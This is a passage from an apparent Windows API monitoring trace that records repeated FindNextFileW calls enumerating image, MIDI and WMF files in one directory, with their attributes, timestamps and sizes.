ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1 [0260.365] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1 [0260.366] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1 [0260.366] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1 [0260.366] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1 [0260.366] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1 [0266.466] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1 [0266.466] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1 [0266.466] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1 [0266.466] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1 [0266.466] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1 [0266.467] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1 [0266.467] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1 [0266.467] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1 [0266.467] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1 [0266.467] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1 [0266.468] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1 [0266.469] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1 [0266.469] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1 [0266.469] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1 [0266.469] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1 [0266.469] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1 [0266.470] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1 [0266.470] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1 [0266.470] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x693e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386764.JPG", cAlternateFileName="")) returned 1 [0266.470] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387337.JPG", cAlternateFileName="")) returned 1 [0266.470] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1 [0266.470] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1 [0266.471] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1 [0266.471] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1 [0266.471] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1 [0266.471] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1 [0266.471] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1 [0266.471] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1 [0266.472] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1 [0266.883] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1 [0266.884] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1 [0266.884] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1 [0266.884] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1 [0266.884] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1 [0266.885] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1 [0266.885] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1 [0266.885] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, 